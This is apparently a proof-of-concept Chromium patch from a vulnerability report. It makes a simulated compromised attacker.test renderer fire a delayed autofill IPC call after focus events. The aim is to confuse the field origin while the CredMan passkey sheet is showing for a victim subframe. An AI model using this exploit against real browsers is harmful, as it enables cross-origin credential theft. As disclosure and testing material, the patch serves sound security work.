Renderer-side injection for Strategy B (compromised-renderer simulation). Applies to an Android (target_os = "android") checkout. With this patch, the attacker.test main-frame renderer fires mojom::AutofillDriver::AskForValuesToFill for its own form 250 ms after every focus event in any frame of the page. When the user focuses the autocomplete="webauthn" field in the victim subframe, the CredMan bottom sheet opens (credman_sheet_status_ = kIsShowing) and ~250 ms later this injected call lands in AndroidAutofillProvider::OnAskForValuesToFill, which runs UpdateCurrentField() and then early-returns at L213-215 without touching session_state_->{form, manager}. The browser assigns field.origin() = main frame's last-committed origin (content_autofill_driver.cc:105), so after this call session_state_->current_field.origin == attacker.test while session_state_->form/manager still belong to the victim's F1 session. --- a/components/autofill/content/renderer/autofill_agent.cc +++ b/components/autofill/content/renderer/autofill_agent.cc @@ -41,6 +41,7 @@ #include "base/strings/string_util.h" #include "base/strings/utf_string_conversions.h" #include "base/task/single_thread_task_runner.h" +#include "base/task/sequenced_task_runner.h" #include "base/time/time.h" #include "components/autofill/content/renderer/a11y_utils.h" #include "components/autofill/content/renderer/form_autofill_issues.h" @@ -1575,6 +1576,30 @@ void AutofillAgent::ShowSuggestionsForFormControl( } is_popup_possibly_visible_ = true; + + // ---- POC: compromised attacker.test main-frame renderer ---- + // After ANY focus-triggered query in the page, the main-frame agent fires a + // delayed AskForValuesToFill for its own #attacker_f2 form. If the focus was + // on the victim subframe's autocomplete="webauthn" field, the browser's + // AndroidAutofillProvider is now in CredManBottomSheetLifecycle::kIsShowing + // and will hit the early-return at android_autofill_provider.cc:213-215 + // AFTER UpdateCurrentField() has overwritten current_field.origin. + if (render_frame() && render_frame()->IsMainFrame()) { + FormData poc_form = form; + FieldRendererId poc_field = field->renderer_id(); + base::SequencedTaskRunner::GetCurrentDefault()->PostDelayedTask( + FROM_HERE, + base::BindOnce( + [](base::WeakPtr self, FormData f, + FieldRendererId fid) { + if (!self || !self->unsafe_autofill_driver()) return; + self->unsafe_autofill_driver()->AskForValuesToFill( + f, fid, gfx::Rect(), + mojom::AutofillSuggestionTriggerSource::kFormControlElementClicked, + std::nullopt); + }, + weak_ptr_factory_.GetWeakPtr(), std::move(poc_form), poc_field), + base::Milliseconds(250)); + } + // ---- end POC ---- + if (auto* autofill_driver = unsafe_autofill_driver()) { if (auto* render_frame = unsafe_render_frame()) { autofill_driver->AskForValuesToFill(form, field->renderer_id(),